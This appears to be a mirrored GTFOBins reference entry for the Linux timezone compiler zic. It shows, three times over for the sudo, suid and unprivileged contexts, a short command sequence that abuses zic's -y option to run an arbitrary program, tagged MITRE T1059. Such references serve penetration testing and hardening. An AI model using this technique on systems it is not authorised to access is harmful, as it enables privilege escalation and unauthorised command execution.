zic

This executes the command twice: - `/path/to/command 0 xxx` - `/path/to/command 1 xxx` Additionally the `Test` file is created.

echo 'Rule Jordan 0 1 xxx Jan lastSun 2 1:00d -' >/path/to/temp-file
echo 'Zone Test 2:00 Jordan CE%sT' >>/path/to/temp-file
zic -d . -y /path/to/command /path/to/temp-file

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

sudo

Native

command

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/zic/

This executes the command twice: - `/path/to/command 0 xxx` - `/path/to/command 1 xxx` Additionally the `Test` file is created.

echo 'Rule Jordan 0 1 xxx Jan lastSun 2 1:00d -' >/path/to/temp-file
echo 'Zone Test 2:00 Jordan CE%sT' >>/path/to/temp-file
zic -d . -y /path/to/command /path/to/temp-file

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

suid

Native

command

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/zic/

This executes the command twice: - `/path/to/command 0 xxx` - `/path/to/command 1 xxx` Additionally the `Test` file is created.

echo 'Rule Jordan 0 1 xxx Jan lastSun 2 1:00d -' >/path/to/temp-file
echo 'Zone Test 2:00 Jordan CE%sT' >>/path/to/temp-file
zic -d . -y /path/to/command /path/to/temp-file

Evidence

Upstream reference

Environment

Local host

Compatibility

Linux reference. macOS compatibility has not been checked for this command and execution context.

Context

unprivileged

Native

command

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/zic/